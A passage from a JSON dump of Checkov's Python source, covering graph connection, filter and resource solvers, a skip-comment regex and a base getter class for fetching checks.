    "content": "from __future__ import annotations\n\nimport itertools\nfrom typing import Optional, List, Tuple, Dict, Any, TYPE_CHECKING\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver\nfrom checkov.common.checks_infra.solvers.connections_solvers.complex_connection_solver import ComplexConnectionSolver\n\nif TYPE_CHECKING:\n    from checkov.common.typing import LibraryGraph\n\n\nclass AndConnectionSolver(ComplexConnectionSolver):\n    operator = Operators.AND  # noqa: CCE003  # a static attribute\n\n    def __init__(self, solvers: Optional[List[BaseSolver]], operator: str) -> None:\n        super().__init__(solvers, operator)\n\n    def get_operation(self, graph_connector: LibraryGraph) -> \\\n            Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]:\n        if not self.vertices_under_resource_types:\n            return [], [], []\n\n        passed, failed, unknown = self.run_attribute_solvers(graph_connector)\n        failed_or_unknown_ids = [(ComplexConnectionSolver.get_check_identifier(f)) for f in itertools.chain(failed, unknown)]\n        passed = [p for p in passed if (ComplexConnectionSolver.get_check_identifier(p)) not in failed_or_unknown_ids]\n\n        for connection_solver in self.get_sorted_connection_solvers():\n            connection_solver.set_vertices(graph_connector, failed, unknown)\n            passed_solver, failed_solver, unknown_solver = connection_solver.get_operation(graph_connector)\n            passed.extend(passed_solver)\n            failed.extend(failed_solver)\n            unknown.extend(unknown_solver)\n            failed_or_unknown_ids.extend((ComplexConnectionSolver.get_check_identifier(f)) for f in itertools.chain(failed_solver, unknown_solver))\n\n        failed_ids = [(ComplexConnectionSolver.get_check_identifier(f)) for f in failed]\n        unknown_ids = [(ComplexConnectionSolver.get_check_identifier(u)) for u in unknown]\n        passed = [p for p in passed if (ComplexConnectionSolver.get_check_identifier(p)) not in itertools.chain(failed_ids, unknown_ids)]\n        unknown = [u for u in unknown if (ComplexConnectionSolver.get_check_identifier(u)) not in failed_ids]\n        return self.filter_results(passed, failed, unknown)\n\n    def _get_operation(self, *args: Any, **kwargs: Any) -> None:\n        pass\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/connections_solvers/base_connection_solver.py",
    "content": "from __future__ import annotations\n\nimport itertools\nfrom typing import Any, List, Dict, Optional, Tuple, TYPE_CHECKING\n\nfrom networkx import DiGraph\n\nfrom checkov.common.graph.checks_infra.enums import SolverType\nfrom checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.terraform.graph_builder.graph_components.block_types import BlockType\n\nif TYPE_CHECKING:\n    from checkov.common.typing import LibraryGraph\n\n\nclass BaseConnectionSolver(BaseSolver):\n    # resource is automatically supported\n    SUPPORTED_CONNECTION_BLOCK_TYPES = (BlockType.OUTPUT,)\n\n    def __init__(\n        self,\n        resource_types: List[str],\n        connected_resources_types: List[str],\n        vertices_under_resource_types: Optional[List[Dict[str, Any]]] = None,\n        vertices_under_connected_resources_types: Optional[List[Dict[str, Any]]] = None,\n    ) -> None:\n        super().__init__(SolverType.CONNECTION)\n        self.resource_types = resource_types\n        self.connected_resources_types = connected_resources_types\n        self.targeted_resources_types = set(itertools.chain(resource_types, connected_resources_types))\n        self.vertices_under_resource_types = vertices_under_resource_types or []\n        self.vertices_under_connected_resources_types = vertices_under_connected_resources_types or []\n        self.excluded_vertices: List[Dict[str, Any]] = []\n        self.unknown_vertices: List[Dict[str, Any]] = []\n\n    def run(self, graph_connector: LibraryGraph) -> Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]:\n        self.set_vertices(graph_connector, [], [])\n\n        subgraph = self.reduce_graph_by_target_types(graph_connector)\n\n        return self.get_operation(subgraph)\n\n    def is_associated_edge(self, origin_type: str | None, destination_type: str | None) -> bool:\n        return (origin_type in self.resource_types and destination_type in self.connected_resources_types) or (\n            origin_type in self.connected_resources_types and destination_type in self.resource_types\n        )\n\n    def is_associated_vertex(self, vertex_type: str) -> bool:\n        return vertex_type in itertools.chain(self.resource_types, self.connected_resources_types)\n\n    def set_vertices(self, graph_connector: LibraryGraph, exclude_vertices: List[Dict[str, Any]], unknown_vertices: List[Dict[str, Any]]) -> None:\n        if isinstance(graph_connector, DiGraph):\n            self.vertices_under_resource_types = [\n                v for _, v in graph_connector.nodes(data=True) if self.resource_type_pred(v, self.resource_types)\n            ]\n            self.vertices_under_connected_resources_types = [\n                v for _, v in graph_connector.nodes(data=True) if self.resource_type_pred(v, self.connected_resources_types)\n            ]\n        else:  # isinstance(graph_connector, PyDiGraph):\n            self.vertices_under_resource_types = [\n                v for _, v in graph_connector.nodes() if self.resource_type_pred(v, self.resource_types)\n            ]\n            self.vertices_under_connected_resources_types = [\n                v for _, v in graph_connector.nodes() if\n                self.resource_type_pred(v, self.connected_resources_types)\n            ]\n\n        self.excluded_vertices = [\n            v\n            for v in itertools.chain(self.vertices_under_resource_types, self.vertices_under_connected_resources_types)\n            if v in exclude_vertices\n        ]\n        self.unknown_vertices = [\n            v\n            for v in itertools.chain(self.vertices_under_resource_types, self.vertices_under_connected_resources_types)\n            if v in unknown_vertices\n        ]\n\n    def reduce_graph_by_target_types(self, graph_connector: LibraryGraph) -> LibraryGraph:\n        # no need to create a subgraph, if there are no vertices to be checked\n        if not self.vertices_under_resource_types:\n            return graph_connector\n\n        if isinstance(graph_connector, DiGraph):\n            resource_nodes = {\n                node\n                for node, resource_type in graph_connector.nodes(data=CustomAttributes.RESOURCE_TYPE)\n                if resource_type in self.targeted_resources_types\n            }\n\n            # tuple needs to be adjusted, if more connection block types are supported\n            connection_nodes = {\n                node\n                for node, block_type in graph_connector.nodes(data=CustomAttributes.BLOCK_TYPE)\n                if block_type in BaseConnectionSolver.SUPPORTED_CONNECTION_BLOCK_TYPES\n            }\n\n        else:  # isinstance(graph_connector, PyDiGraph):\n            resource_nodes = {\n                index\n                for index, node in graph_connector.nodes()\n                if self.resource_type_pred(node, list(self.targeted_resources_types))\n            }\n\n            # tuple needs to be adjusted, if more connection block types are supported\n            connection_nodes = {\n                index\n                for index, node in graph_connector.nodes()\n                if node['block_type_'] in BaseConnectionSolver.SUPPORTED_CONNECTION_BLOCK_TYPES\n            }\n\n        resource_nodes.update(connection_nodes)\n\n        return graph_connector.subgraph(list(resource_nodes))\n\n    def populate_checks_results(self, origin_attributes: Dict[str, Any], destination_attributes: Dict[str, Any], passed: List[Dict[str, Any]], failed: List[Dict[str, Any]], unknown: List[Dict[str, Any]]) -> None:\n        if origin_attributes in self.excluded_vertices or destination_attributes in self.excluded_vertices:\n            failed.extend([origin_attributes, destination_attributes])\n        elif origin_attributes in self.unknown_vertices or destination_attributes in self.unknown_vertices:\n            unknown.extend([origin_attributes, destination_attributes])\n        else:\n            passed.extend([origin_attributes, destination_attributes])\n\n    def get_operation(self, graph_connector: LibraryGraph) -> \\\n            Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]:\n        raise NotImplementedError\n\n    def _get_operation(self, *args: Any, **kwargs: Any) -> Any:\n        raise NotImplementedError\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/connections_solvers/complex_connection_solver.py",
    "content": "from __future__ import annotations\n\nimport itertools\nfrom typing import List, Optional, Dict, Any, Tuple, TYPE_CHECKING\n\nfrom checkov.common.graph.checks_infra import debug\nfrom checkov.common.graph.checks_infra.enums import SolverType\nfrom checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver\nfrom checkov.common.checks_infra.solvers.complex_solvers.base_complex_solver import BaseComplexSolver\nfrom checkov.common.checks_infra.solvers.connections_solvers.base_connection_solver import BaseConnectionSolver\nfrom checkov.common.checks_infra.solvers.filter_solvers.base_filter_solver import BaseFilterSolver\nfrom checkov.common.graph.graph_builder.graph_components.attribute_names import CustomAttributes\n\nif TYPE_CHECKING:\n    from checkov.common.typing import LibraryGraph\n\n\nclass ComplexConnectionSolver(BaseConnectionSolver):\n    def __init__(self, solvers: Optional[List[BaseSolver]], operator: str) -> None:\n        self.solver_type = SolverType.COMPLEX_CONNECTION\n        self.solvers = solvers if solvers else []\n        self.operator = operator\n\n        resource_types = set()\n        connected_resources_types = set()\n        for sub_solver in self.solvers:\n            if isinstance(sub_solver, BaseConnectionSolver):\n                resource_types.update(sub_solver.resource_types)\n                connected_resources_types.update(sub_solver.connected_resources_types)\n            elif isinstance(sub_solver, BaseAttributeSolver):\n                resource_types.update(sub_solver.resource_types)\n\n        super().__init__(list(resource_types), list(connected_resources_types))\n\n    @staticmethod\n    def get_check_identifier(check: Dict[str, Any]) -> Tuple[str, str, Optional[Any]]:\n        return check[CustomAttributes.ID], check[CustomAttributes.FILE_PATH], check.get(CustomAttributes.TF_RESOURCE_ADDRESS)\n\n    @staticmethod\n    def filter_duplicates(checks: List[Dict[str, Any]]) -> List[Dict[str, Any]]:\n        return list({(ComplexConnectionSolver.get_check_identifier(check)): check for check in checks}.values())\n\n    def filter_results(\n        self, passed: List[Dict[str, Any]], failed: List[Dict[str, Any]], unknown: List[Dict[str, Any]]\n    ) -> Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]:\n        filter_solvers = [sub_solver for sub_solver in self.solvers if isinstance(sub_solver, BaseFilterSolver)]\n        for sub_solver in filter_solvers:\n            filter_pred = sub_solver._get_operation()\n            passed = list(filter(filter_pred, passed))\n            failed = list(filter(filter_pred, failed))\n            unknown = list(filter(filter_pred, unknown))\n        passed = self.filter_duplicates(passed)\n        failed = self.filter_duplicates(failed)\n        unknown = self.filter_duplicates(unknown)\n\n        debug.complex_connection_block(solvers=self.solvers, operator=self.operator, passed_resources=passed, failed_resources=failed)\n\n        return passed, failed, unknown\n\n    def get_sorted_connection_solvers(self) -> List[BaseConnectionSolver]:\n        connection_solvers = [sub_solver for sub_solver in self.solvers if isinstance(sub_solver, BaseConnectionSolver)]\n        filter_solvers = [sub_solver for sub_solver in self.solvers if isinstance(sub_solver, BaseFilterSolver)]\n\n        resource_types_to_filter = []\n        for filter_solver in filter_solvers:\n            if filter_solver.attribute == \"resource_type\":\n                resource_types_to_filter.extend(filter_solver.value)\n\n        sorted_connection_solvers = []\n        connection_solvers_with_filtered_resource_types = []\n        for connection_solver in connection_solvers:\n            if any(\n                r in resource_types_to_filter\n                for r in itertools.chain(connection_solver.resource_types, connection_solver.connected_resources_types)\n            ):\n                connection_solvers_with_filtered_resource_types.append(connection_solver)\n            else:\n                sorted_connection_solvers.append(connection_solver)\n\n        sorted_connection_solvers.extend(connection_solvers_with_filtered_resource_types)\n        return sorted_connection_solvers\n\n    def run_attribute_solvers(self, graph_connector: LibraryGraph) -> \\\n            Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]:\n        attribute_solvers = [\n            sub_solver\n            for sub_solver in self.solvers\n            if isinstance(sub_solver, (BaseAttributeSolver, BaseComplexSolver))\n        ]\n        passed_attributes, failed_attributes, unknown_attributes = [], [], []\n        for attribute_solver in attribute_solvers:\n            passed_solver, failed_solver, unknown_solver = attribute_solver.run(graph_connector)\n            passed_attributes.extend(passed_solver)\n            failed_attributes.extend(failed_solver)\n            unknown_attributes.extend(unknown_solver)\n\n        return passed_attributes, failed_attributes, unknown_attributes\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/connections_solvers/connection_exists_solver.py",
    "content": "from __future__ import annotations\n\nimport itertools\nimport logging\nfrom typing import List, Optional, Dict, Any, Tuple\n\nfrom rustworkx import PyDiGraph\n\nfrom checkov.common.graph.checks_infra import debug\n\ntry:\n    from networkx import edge_dfs, DiGraph\nexcept ImportError:\n    logging.info(\"Not able to import networkx\")\n    edge_dfs = lambda G : []\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.checks_infra.solvers.connections_solvers.base_connection_solver import BaseConnectionSolver\nfrom checkov.common.graph.graph_builder import CustomAttributes\nfrom checkov.common.typing import LibraryGraph, _RustworkxGraph\nfrom checkov.terraform.graph_builder.graph_components.block_types import BlockType\n\n\nclass ConnectionExistsSolver(BaseConnectionSolver):\n    operator = Operators.EXISTS  # noqa: CCE003  # a static attribute\n\n    def __init__(\n            self,\n            resource_types: List[str],\n            connected_resources_types: List[str],\n            vertices_under_resource_types: Optional[List[Dict[str, Any]]] = None,\n            vertices_under_connected_resources_types: Optional[List[Dict[str, Any]]] = None,\n    ) -> None:\n        super().__init__(\n            resource_types,\n            connected_resources_types,\n            vertices_under_resource_types,\n            vertices_under_connected_resources_types,\n        )\n\n    def get_operation(\n        self, graph_connector: LibraryGraph\n    ) -> Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]:\n        passed, failed, unknown = self._get_operation(graph_connector=graph_connector)\n\n        debug.connection_block(\n            resource_types=self.resource_types,\n            connected_resource_types=self.connected_resources_types,\n            operator=self.operator,\n            passed_resources=passed,\n            failed_resources=failed,\n        )\n\n        return passed, failed, unknown\n\n    def _get_operation(\n        self, graph_connector: LibraryGraph\n    ) -> Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]:\n        passed: List[Dict[str, Any]] = []\n        failed: List[Dict[str, Any]] = []\n        unknown: List[Dict[str, Any]] = []\n        if not self.vertices_under_resource_types or not self.vertices_under_connected_resources_types:\n            failed.extend(self.vertices_under_resource_types)\n            failed.extend(self.vertices_under_connected_resources_types)\n            return passed, failed, unknown\n\n        if isinstance(graph_connector, DiGraph):\n            self.get_networkx_operation(graph_connector=graph_connector, passed=passed, failed=failed, unknown=unknown)\n        elif isinstance(graph_connector, PyDiGraph):\n            self.get_rustworkx_operation(graph_connector=graph_connector, passed=passed, failed=failed, unknown=unknown)\n        else:\n            raise Exception(f\"Graph type {type(graph_connector)} not supported\")\n\n        failed.extend(\n            [\n                v\n                for v in itertools.chain(\n                    self.vertices_under_resource_types, self.vertices_under_connected_resources_types\n                )\n                if v not in itertools.chain(passed, unknown)\n            ]\n        )\n\n        return passed, failed, unknown\n\n    def _set_connected_node(self, source: Any, target: Any) -> None:\n        source.setdefault(CustomAttributes.CONNECTED_NODE, {})[tuple(self.connected_resources_types)] = target\n\n    def get_networkx_operation(\n        self,\n        graph_connector: DiGraph,\n        passed: list[dict[str, Any]],\n        failed: list[dict[str, Any]],\n        unknown: list[dict[str, Any]],\n    ) -> None:\n        for u, v in edge_dfs(graph_connector):\n            origin_attributes = graph_connector.nodes(data=True)[u]\n            opposite_vertices = None\n            if origin_attributes in self.vertices_under_resource_types:\n                opposite_vertices = self.vertices_under_connected_resources_types\n            elif origin_attributes in self.vertices_under_connected_resources_types:\n                opposite_vertices = self.vertices_under_resource_types\n            if not opposite_vertices:\n                continue\n\n            destination_attributes = graph_connector.nodes(data=True)[v]\n            if destination_attributes in opposite_vertices:\n                self.populate_checks_results(\n                    origin_attributes=origin_attributes,\n                    destination_attributes=destination_attributes,\n                    passed=passed,\n                    failed=failed,\n                    unknown=unknown,\n                )\n                self._set_connected_node(destination_attributes, origin_attributes)\n                continue\n            if origin_attributes.get(CustomAttributes.BLOCK_TYPE) == BlockType.OUTPUT:\n                print(1)\n            destination_block_type = destination_attributes.get(CustomAttributes.BLOCK_TYPE)\n            if destination_block_type == BlockType.OUTPUT:\n                try:\n                    output_edges = graph_connector.edges(v, data=True)\n                    _, output_destination, _ = next(iter(output_edges))\n                    output_destination = graph_connector.nodes(data=True)[output_destination]\n                    output_destination_type = output_destination.get(CustomAttributes.RESOURCE_TYPE)\n                    if self.is_associated_edge(\n                        origin_attributes.get(CustomAttributes.RESOURCE_TYPE), output_destination_type\n                    ):\n                        passed.extend([origin_attributes, output_destination])\n                except StopIteration:\n                    continue\n\n    def get_rustworkx_operation(\n        self,\n        graph_connector: _RustworkxGraph,\n        passed: list[dict[str, Any]],\n        failed: list[dict[str, Any]],\n        unknown: list[dict[str, Any]],\n    ) -> None:\n        for edge in graph_connector.edge_list():\n            u, v = edge\n            origin_attributes = graph_connector.nodes()[u][1]\n            opposite_vertices = None\n            if origin_attributes in self.vertices_under_resource_types:\n                opposite_vertices = self.vertices_under_connected_resources_types\n            elif origin_attributes in self.vertices_under_connected_resources_types:\n                opposite_vertices = self.vertices_under_resource_types\n            if not opposite_vertices:\n                continue\n\n            destination_attributes = graph_connector.nodes()[v][1]\n            if destination_attributes in opposite_vertices:\n                self.populate_checks_results(\n                    origin_attributes=origin_attributes,\n                    destination_attributes=destination_attributes,\n                    passed=passed,\n                    failed=failed,\n                    unknown=unknown,\n                )\n                self._set_connected_node(destination_attributes, origin_attributes)\n                continue\n\n            destination_block_type = destination_attributes.get(CustomAttributes.BLOCK_TYPE)\n            if destination_block_type == BlockType.OUTPUT:\n                try:\n                    output_edges = graph_connector.adj_direction(\n                        v, False\n                    )  # True means inbound edges and False means outbound edges\n                    output_destination_index = next(iter(output_edges))\n                    output_destination = graph_connector.nodes()[output_destination_index][1]\n                    output_destination_type = output_destination.get(CustomAttributes.RESOURCE_TYPE)\n                    if self.is_associated_edge(\n                        origin_attributes.get(CustomAttributes.RESOURCE_TYPE), output_destination_type\n                    ):\n                        passed.extend([origin_attributes, output_destination])\n                except StopIteration:\n                    continue\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/connections_solvers/connection_not_exists_solver.py",
    "content": "from __future__ import annotations\n\nfrom typing import List, Optional, Dict, Any, Tuple, TYPE_CHECKING\n\nfrom checkov.common.graph.checks_infra import debug\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.checks_infra.solvers.connections_solvers.connection_exists_solver import ConnectionExistsSolver\n\nif TYPE_CHECKING:\n    from checkov.common.typing import LibraryGraph\n\n\nclass ConnectionNotExistsSolver(ConnectionExistsSolver):\n    operator = Operators.NOT_EXISTS  # noqa: CCE003  # a static attribute\n\n    def __init__(\n        self,\n        resource_types: List[str],\n        connected_resources_types: List[str],\n        vertices_under_resource_types: Optional[List[Dict[str, Any]]] = None,\n        vertices_under_connected_resources_types: Optional[List[Dict[str, Any]]] = None,\n    ) -> None:\n        super().__init__(\n            resource_types,\n            connected_resources_types,\n            vertices_under_resource_types,\n            vertices_under_connected_resources_types,\n        )\n\n    def get_operation(self, graph_connector: LibraryGraph) -> \\\n            Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]:\n        passed, failed, unknown = super()._get_operation(graph_connector)\n\n        debug.connection_block(\n            resource_types=self.resource_types,\n            connected_resource_types=self.connected_resources_types,\n            operator=self.operator,\n            passed_resources=failed,  # it has to be switched here, like the output\n            failed_resources=passed,\n        )\n\n        return failed, passed, unknown\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/connections_solvers/connection_one_exists_solver.py",
    "content": "from __future__ import annotations\n\nfrom typing import List, Optional, Dict, Any, Tuple, TYPE_CHECKING\nfrom checkov.common.checks_infra.solvers import ConnectionExistsSolver\nfrom checkov.common.graph.checks_infra import debug\nfrom checkov.common.graph.checks_infra.enums import Operators\n\nif TYPE_CHECKING:\n    from checkov.common.typing import LibraryGraph\n\n\nclass ConnectionOneExistsSolver(ConnectionExistsSolver):\n    operator = Operators.ONE_EXISTS  # noqa: CCE003  # a static attribute\n\n    def __init__(\n        self,\n        resource_types: List[str],\n        connected_resources_types: List[str],\n        vertices_under_resource_types: Optional[List[Dict[str, Any]]] = None,\n        vertices_under_connected_resources_types: Optional[List[Dict[str, Any]]] = None,\n    ) -> None:\n        super().__init__(\n            resource_types,\n            connected_resources_types,\n            vertices_under_resource_types,\n            vertices_under_connected_resources_types,\n        )\n\n    def get_operation(self, graph_connector: LibraryGraph) -> \\\n            Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]:\n        passed, failed, unknown = super()._get_operation(graph_connector)\n        failed = [f for f in failed if f not in passed]\n        unknown = [u for u in unknown if u not in passed]\n\n        debug.connection_block(\n            resource_types=self.resource_types,\n            connected_resource_types=self.connected_resources_types,\n            operator=self.operator,\n            passed_resources=passed,\n            failed_resources=failed,\n        )\n\n        return passed, failed, unknown\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/connections_solvers/or_connection_solver.py",
    "content": "from __future__ import annotations\n\nimport itertools\nfrom typing import Optional, List, Tuple, Dict, Any, TYPE_CHECKING\n\nfrom checkov.common.checks_infra.solvers.connections_solvers.base_connection_solver import BaseConnectionSolver\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver\nfrom checkov.common.checks_infra.solvers.connections_solvers.complex_connection_solver import ComplexConnectionSolver\n\nif TYPE_CHECKING:\n    from checkov.common.typing import LibraryGraph\n\n\nclass OrConnectionSolver(ComplexConnectionSolver):\n    operator = Operators.OR  # noqa: CCE003  # a static attribute\n\n    def __init__(self, solvers: Optional[List[BaseSolver]], operator: str) -> None:\n        super().__init__(solvers, operator)\n\n    def get_operation(self, graph_connector: LibraryGraph) -> \\\n            Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]:\n        passed, failed, unknown = self.run_attribute_solvers(graph_connector)\n        connection_solvers = [sub_solver for sub_solver in self.solvers if isinstance(sub_solver, BaseConnectionSolver)]\n        for connection_solver in connection_solvers:\n            connection_solver.set_vertices(graph_connector, [], [])\n            passed_solver, failed_solver, unknown_solver = connection_solver.get_operation(graph_connector)\n            passed.extend(passed_solver)\n            failed.extend(failed_solver)\n            unknown.extend(unknown_solver)\n\n        passed_path_and_ids = [(ComplexConnectionSolver.get_check_identifier(p)) for p in passed]\n        unknown_path_and_ids = [(ComplexConnectionSolver.get_check_identifier(u)) for u in unknown]\n        unknown = [u for u in unknown if (ComplexConnectionSolver.get_check_identifier(u)) not in passed_path_and_ids]\n        failed = [f for f in failed if (ComplexConnectionSolver.get_check_identifier(f)) not in itertools.chain(passed_path_and_ids, unknown_path_and_ids)]\n        return self.filter_results(passed, failed, unknown)\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/filter_solvers/__init__.py",
    "content": "from checkov.common.checks_infra.solvers.filter_solvers.within_filter_solver import WithinFilterSolver  # noqa\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/filter_solvers/base_filter_solver.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, Callable, TYPE_CHECKING, Tuple, List, Dict, Optional\n\nfrom checkov.common.graph.checks_infra.enums import SolverType\nfrom checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver\n\nif TYPE_CHECKING:\n    from checkov.common.typing import LibraryGraph\n\n\nclass BaseFilterSolver(BaseSolver):\n    def __init__(self, resource_types: List[str], attribute: Optional[str], value: Any) -> None:\n        super().__init__(SolverType.FILTER)\n        self.resource_types = resource_types\n        self.attribute = attribute\n        self.value = value\n        self.vertices: List[Dict[str, Any]] = []\n\n    def get_operation(self, *args: Any, **kwargs: Any) -> bool:\n        raise NotImplementedError()\n\n    def _get_operation(self, *args: Any, **kwargs: Any) -> Callable[..., bool]:\n        raise NotImplementedError()\n\n    def run(self, graph_connector: LibraryGraph) -> Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]:\n        raise NotImplementedError()\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/filter_solvers/within_filter_solver.py",
    "content": "from typing import Any, Callable, List, Dict\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.checks_infra.solvers.filter_solvers.base_filter_solver import BaseFilterSolver\n\n\nclass WithinFilterSolver(BaseFilterSolver):\n    operator = Operators.WITHIN  # noqa: CCE003  # a static attribute\n\n    def __init__(self, resource_types: List[str], attribute: str, value: Any) -> None:\n        super().__init__(resource_types=resource_types, attribute=attribute, value=value)\n\n    def get_operation(self, *args: Any, **kwargs: Any) -> bool:\n        return self._get_operation()(*args)\n\n    def _get_operation(self, *args: Any, **kwargs: Any) -> Callable[..., bool]:\n        def op(check: Dict[str, Any]) -> bool:\n            if not self.attribute:\n                return False\n\n            val = check.get(self.attribute)\n            return bool(val) and (val in self.value)\n        return op\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/resource_solvers/__init__.py",
    "content": "from checkov.common.checks_infra.solvers.resource_solvers.not_exists_resource_solver import ExistsResourcerSolver  # noqa\nfrom checkov.common.checks_infra.solvers.resource_solvers.not_exists_resource_solver import NotExistsResourcerSolver  # noqa\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/resource_solvers/base_resource_solver.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom typing import Any, Callable, TYPE_CHECKING\n\nfrom networkx import DiGraph\n\nimport concurrent.futures\n\nfrom concurrent.futures import ThreadPoolExecutor\n\nfrom checkov.common.graph.checks_infra.enums import SolverType\nfrom checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver\nfrom checkov.common.graph.graph_builder import CustomAttributes\n\nif TYPE_CHECKING:\n    from checkov.common.typing import LibraryGraph\n\n\nclass BaseResourceSolver(BaseSolver):\n    def __init__(self, resource_types: list[str]) -> None:\n        super().__init__(SolverType.RESOURCE)\n        self.resource_types = resource_types\n        self.vertices: list[dict[str, Any]] = []\n        self._passed_vertices: list[dict[str, Any]] = []\n        self._failed_vertices: list[dict[str, Any]] = []\n        self._unknown_vertices: list[dict[str, Any]] = []\n\n    @abstractmethod\n    def get_operation(self, resource_type: str) -> bool:\n        raise NotImplementedError()\n\n    def _get_operation(self, *args: Any, **kwargs: Any) -> Callable[..., bool]:\n        # not needed\n        return lambda: True\n\n    @abstractmethod\n    def _handle_result(self, result: bool, data: dict[str, str]) -> None:\n        raise NotImplementedError()\n\n    def run(\n            self, graph_connector: LibraryGraph\n    ) -> tuple[list[dict[str, Any]], list[dict[str, Any]], list[dict[str, Any]]]:\n        executer = ThreadPoolExecutor()\n        jobs = []\n\n        if isinstance(graph_connector, DiGraph):\n            for _, data in graph_connector.nodes(data=True):\n                jobs.append(executer.submit(self._process_node, data))\n\n            concurrent.futures.wait(jobs)\n            return self._passed_vertices, self._failed_vertices, self._unknown_vertices\n\n        for _, data in graph_connector.nodes():\n            result = self.get_operation(resource_type=str(data.get(CustomAttributes.RESOURCE_TYPE)))\n            self._handle_result(result, data)\n\n        return self._passed_vertices, self._failed_vertices, self._unknown_vertices\n\n    def _process_node(self, data: dict[str, str]) -> None:\n        result = self.get_operation(data.get(CustomAttributes.RESOURCE_TYPE))  # type:ignore[arg-type]\n        # A None indicate for UNKNOWN result - the vertex shouldn't be added to the passed or the failed vertices\n        self._handle_result(result, data)\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/resource_solvers/exists_resource_solver.py",
    "content": "from __future__ import annotations\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.checks_infra.solvers.resource_solvers.base_resource_solver import BaseResourceSolver\n\n\nclass ExistsResourcerSolver(BaseResourceSolver):\n    operator = Operators.EXISTS  # noqa: CCE003  # a static attribute\n\n    def get_operation(self, resource_type: str | None) -> bool:\n        return resource_type in self.resource_types\n\n    def _handle_result(self, result: bool, data: dict[str, str]) -> None:\n        # The exists operator means that all resources that are not in the allowlist should fail,\n        # and existed resources that are in the allowlist should pass, as they are the only resources allowed\n        if result:\n            self._passed_vertices.append(data)\n        else:\n            self._failed_vertices.append(data)\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/resource_solvers/not_exists_resource_solver.py",
    "content": "from __future__ import annotations\n\n\nfrom checkov.common.checks_infra.solvers.resource_solvers.exists_resource_solver import ExistsResourcerSolver\nfrom checkov.common.graph.checks_infra.enums import Operators\n\n\nclass NotExistsResourcerSolver(ExistsResourcerSolver):\n    operator = Operators.NOT_EXISTS  # noqa: CCE003  # a static attribute\n\n    def get_operation(self, resource_type: str | None) -> bool:\n        return not super().get_operation(resource_type)\n\n    def _handle_result(self, result: bool, data: dict[str, str]) -> None:\n        # The not_exists operator means that all resources that are not in the denylist should be ignored,\n        # and existed resources that are in the denylist should fail\n        if result:\n            self._unknown_vertices.append(data)\n        else:\n            self._failed_vertices.append(data)\n"
  },
  {
    "path": "checkov/common/comment/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/comment/enum.py",
    "content": "import re\n\nCOMMENT_REGEX = re.compile(r'(checkov:skip=|bridgecrew:skip=|cortex:skip=) *([A-Za-z_\\d]+(?:,[A-Za-z_\\d]+)*)?(:[^\\n]*)?')\n"
  },
  {
    "path": "checkov/common/goget/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/goget/base_getter.py",
    "content": "from __future__ import annotations\n\nimport os\nimport uuid\nfrom abc import abstractmethod\n\n\nclass BaseGetter:\n    def __init__(self, url: str) -> None:\n        self.url = url\n        self.temp_dir = \"\"\n\n    def get(self) -> str:\n        current_directory = os.getcwd()\n        final_directory = os.path.join(current_directory, str((uuid.uuid4()))[:8] + \"_checks\")\n        if not os.path.exists(final_directory):\n            os.makedirs(final_directory)\n        self.temp_dir = final_directory\n        return self.do_get()\n\n    @abstractmethod\n    def do_get(self) -> str:\n        raise NotImplementedError()\n"
  },
  {
    "path": "checkov/common/goget/github/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/goget/github/get_git.py",
